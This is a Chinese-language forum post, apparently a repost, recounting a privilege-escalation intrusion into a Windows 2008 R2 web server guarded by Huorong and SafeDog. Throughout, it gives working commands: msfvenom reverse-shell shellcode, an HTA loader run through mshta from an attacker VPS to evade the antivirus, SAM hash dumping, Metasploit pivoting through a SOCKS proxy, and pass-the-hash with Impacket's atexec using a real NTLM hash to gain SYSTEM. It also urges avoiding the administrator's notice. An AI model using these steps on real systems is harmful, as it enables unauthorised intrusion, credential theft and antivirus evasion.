標題:記一次繞過火絨安全提權實戰案例

taibeihacker

Moderator

0x01 前言

朋友發來一個站讓幫看下提權,服務器上安裝的有護衛神+火絨+安全狗等安全防護軟件,看著確實挺唬人,他也試了不少常用提權EXP,結果都失敗了,可能是欠缺免殺EXP能力吧,當然也有可能是修復了這些漏洞,抽空給他看了下並寫了這篇記錄文章。
1049983-20220124163251542-1967529892.jpg
在拿到權限後用中國菜刀連了下,不過好像被攔截了,提示:服務器返回無效或不可識別的響應,以前也多次遇到這種情況,這裡只要換成Godzilla就能正常連接了。
1049983-20220124163251978-1322677974.jpg

0x02 服务器基本信息搜集

雖然朋友在測試後給提供了些信息,但還是習慣自己去看下,因為每個人掌握的知識點和實戰經驗不一樣,只有自己看了後才知道安裝了哪些環境、WAF/AV和第三方軟件,以及開放了哪些端口、打了多少補丁等,這樣才能更好對其係統薄弱點進行測試。目標系統:Windows 2008 R2 (6.1 Build 7601, Service Pack 1).當前權限:iis apppool\*****.com支持腳本:ASP、ASPX、PHP,能夠直接執行系統命令開放端口:21(ftp)、80(http)、135(rpc)、443(https)、445(smb)、801(http)、3306(mysql)、2121(G6FTP)、8021(G6FTP)、6588(hws)、58895(TermService)進程名稱:G6FTPServer.exe、G6FTPTray.exe、 HwsHostPanel.exe、mysqld.exe、php-cgi.exe、SafeDogUpdateCenter.exe、CloudHelper.exe、SafeDogGuardCenter.exe、SafeDogTray.exe、SafeDogGuardHelper.exe、SafeDogGuardHelper.exe、HipsTray.exe、HipsDaemon.exe、usysdiag.exe
1049983-20220124163252411-471079651.jpg

服務器上運行的有:火絨、護衛神主機大師、服務器安全狗、MySQL數據庫和G6FTP,可以嘗試提權方式有:護衛神主機大師、MySQL和G6FTP,不過在提權過程中得注意下火絨和服務器安全狗的查殺和攔截,盡可能的避免被管理員發現。
1049983-20220124163252823-1811393858.jpg

0x03 绕过火绒获取MSF会话

個人習慣在MSF下進行提權,首先我們先想辦法獲取一個會話,火絨默認會攔截web_delivery中的powershell執行和查殺hta_server的hta文件,所以這兩種方式在這裡是行不通的。
1049983-20220124163253246-704954051.jpg
這裡我們直接利用mshta白名單來獲取MSF會話,首先執行以下命令生成shellcode並執行監聽,然後將exp.hta文件中的shellcode替換為MSF的shellcode即可。 [root@p1600778655 ~]# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.**.***.16 lport=443 -f raw /tmp/shellcode.bin[root@p1600778655 ~]# cat /tmp/shellcode.bin | base64 -w 0msf6 exploit(multi/handler) set payload windows/meterpreter/reverse_tcpmsf6 exploit(multi/handler) set lhost 155.**.***.16msf6 exploit(multi/handler) set lport 443msf6 exploit(multi/handler) exploit
1049983-20220124163253718-1537582744.jpg

接著我們在VPS上用Python開啟一個臨時Web用於遠程調用,然後再去ASPX大馬的執行命令功能處用系統自帶的mshta.exe執行exp.hta這個文件後即可上線。 python -m SimpleHTTPServer 8888python3 -m http.server 8888
1049983-20220124163254197-2120690193.jpg

0x04 SAM注册表项导出哈希

朋友前期已經測試了很多提權EXP,加上護衛神主機大師為高版本,MySQL也被降權了,所以就不再去測試這些常規方法了,G6FTP還是可以去試一下,不過我這用的是另一種非常規方法。直接利用 《西部数码云主机失败提权案例》 一文中提到的方法,原理也很簡單,當SAM註冊表項有Users或Everyone的讀取權限時就能利用MSF下的hashdump模塊導出哈希。 meterpreter getuidmeterpreter load powershellmeterpreter powershell_shellPS Get-Acl -Path HKLM:\SAM\SAM | Format-Listmeterpreter run post/windows/gather/hashdump
1049983-20220124163254702-171730462.jpg

0x05 atexec提升System权限

已經利用SAM註冊表項權限問題導出了主機哈希,但依舊面臨著一些問題,如:沒有明文密碼、破解不了哈希、添加不了用戶等,如遇到這種場景時應該怎樣進行下一步測試呢?
1049983-20220124163255139-971881696.jpg
這時我們可以嘗試使用支持HASH傳遞的遠程命令執行工具來執行系統命令,這里以Impacket套件遠程命令執行功能中的atexec來做演示,其他支持哈希傳遞的工具以及利用方式如下。135端口:WMIcmd/sharpwmi/WMIHACKER/Sharp-WMIExec;Impacket:psexec(445)/wmiexec(135)/smbexec(445)/atexec(445);利用方式:Local本地執行、Socks4/5代理、Metasploit虛擬路由表;這裡我們先將當前MSF會話添加進虛擬路由,然後再用socks_proxy模塊開啟一個socks5代理,修改下proxychains.conf配置文件,最後用proxychains代理工具來執行atexec即可。 meterpreter run get_local_subnetsmeterpreter run autoroute -s 59.***.***.0/255.255.255.0meterpreter bg
msf6 auxiliary(server/socks_proxy) set username testmsf6 auxiliary(server/socks_proxy) set password 123456msf6 auxiliary(server/socks_proxy) run
1049983-20220124163255651-1692007284.jpg
Kali的proxychains配置默認在/etc/proxychains.conf,而自行編譯安裝的proxychains4配置在根目錄下/src/proxychains.conf,如何修改就不細說了,配置文件裡都有例子。 [root@p1600778655 src]# vi /srv/proxychains/src/proxychains.conf
1049983-20220124163256049-665160730.jpg
利用proxychains代理工具執行atexec時可能會出現以下報錯,且沒有命令執行回顯,但我們可以先用Ping9o**mf.dnslog.cn命令看下是否執行成功,如果DNSLog收到數據則說明成功。 [root@p1600778655 ~]# proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv/impacket/examples/atexec.py -hashes :ebdccc154cadcda7f5ef0a2149274f3c administrator@59.***.***.230 'cmd /c ping 9o**mf.dnslog.cn'
1049983-20220124163256474-1336840468.jpg
確定命令執行成功後,我們另起一個命令終端開啟MSF監聽,然後再用proxychains代理工具執行atexec,這裡再次執行前邊用到的exp.hta文件後即可得到目標主機SYSTEM。 meterpreter run get_local_subnetsmeterpreter run autoroute -s 59.***.***.0/255.255.255.0meterpreter bgmsf6 auxiliary(server/socks_proxy) set username testmsf6 auxiliary(server/socks_proxy) set password 123456msf6 auxiliary(server/socks_proxy) run
1049983-20220124163256979-484899269.jpg
踩坑记录-1:如果沒有將當前MSF會話添加至虛擬路由時,即使開了Socks5代理也不能用proxychains代理工具執行atexec,會報出以下錯誤提示,因為MSF的Socks模塊是在VPS上開啟一個Socks代理,在沒有添加虛擬路由前是不能與目標445端口進行通訊,除非是在目標主機上開啟Socks代理,然後本地連接目標開啟的Socks後才能與目標445端口進行通訊。
1049983-20220124163257415-2028091907.jpg
踩坑记录-2:Socks代理流量已經通了,但是在利用proxychains代理工具執行atexec時出現了以下報錯,且沒有命令執行回顯,執行whoami1.txt命令也寫不了文件,當然這可能只是這個環境出現的個別案例,但我們可以通過ping dnslog命令來判斷是否執行成功。
1049983-20220124163257855-1929831015.jpg

0x06 总结​

1.通過格拉斯成功連接一句話2.執行systeminfo 命令發現目錄時windows2008r2 SP13.執行命令whoami發現iis權限,執行netstat -ano,發現21,80,445,801,3306,等端口開放4.通過執行命令tasklist/svc,通過在線殺軟進程對比,發現目標系統中存在護衛神,火絨,安全狗防護軟件以及數據庫mysql和G6FTP5.執行以下命令生成shellcode並執行監聽msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.124.145.16 lport=443 -f raw /tmp/shellcode.bin6.查看shellcode.bin代碼並通過base64輸出代碼cat /tmp/shellcode.bin | base64 -w 0msf6 set payload windows/meterpreter/reverse_tcpmsf6 set lhost 155.124.145.16msf6 set lport 443msf6 exploit
7.自定義新建exp.hta,然後將exp.hta文件中的shellcode替換為MSF的shellcode即可。 script language='VBScript'Dim binary:binary='rundll32.exe'dim code:code='shecode.bin內容的base64'8.接著在VPS上用Python開啟一個臨時Web用於遠程調用python -m SimpleHTTPServer 8888python3 -m http.server 88889.通過格拉斯上傳APX大馬,在ASPX大馬的命令中執行cmdpath:c:\windows\system32\cmd.exeargument:/c mshta http://155.124.145.16/exp.hta10.當SAM註冊表項有Users或Everyone的讀取權限時就能利用MSF下的hashdump模塊導出哈希。 meterpreter getuidmeterpreter load powershellmeterpreter powershell_shellPS Get-Acl -Path HKLM:\SAM\SAM | Format-Listmeterpreter run post/windows/gather/hashdump11.已經利用SAM註冊表項權限問題導出了主機哈希,但是解密不出來12.這裡我們先將當前MSF會話添加進虛擬路由meterpreter run get_local_subnetsmeterpreter run autoroute -s 59.***.***.0/255.255.255.0meterpreter bg13.使用socks_proxy模塊開啟一個socks5代理, msf6 auxiliary(server/socks_proxy) set username testmsf6 auxiliary(server/socks_proxy) set password 123456msf6 auxiliary(server/socks_proxy) run14.Kali的proxychains配置默認在/etc/proxychains.conf,而自行編譯安裝的proxychains4配置在根目錄下/src/proxychains.conf,如何修改就不細說了,配置文件裡都有例子。
[root@p1600778655 src]# vi /srv/proxychains/src/proxychains.conf15.利用proxychains代理工具執行atexec時可能會出現以下報錯,且沒有命令執行回顯,但我們可以先用Ping 9o**mf.dnslog.cn命令看下是否執行成功,如果DNSLog收到數據則說明成功proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv/impacket/examples/atexec.py -hashes :ebdccc154cadcda7f5ef0a2149274f3c administrator@59.***.***.230 'cmd /c ping 9o**mf.dnslog.cn'16.另起一個命令終端開啟MSF監聽,然後再用proxychains代理工具執行atexec,這裡再次執行前邊用到的exp.hta文件後即可得到目標主機SYSTEMmsf6 auxiliary(server/socks_proxy) sessions -i 1meterpreter run get_local_subnetsmeterpreter run autoroute -s 59.***.***.0/255.255.255.0meterpreter bgmsf6 auxiliary(server/socks_proxy) set username testmsf6 auxiliary(server/socks_proxy) set password 123456msf6 auxiliary(server/socks_proxy) run原文鏈接:https://mp.weixin.qq.com/s?__biz=Mz...3scene=178cur_album_id=1553386251775492098#rd
 
返回
上方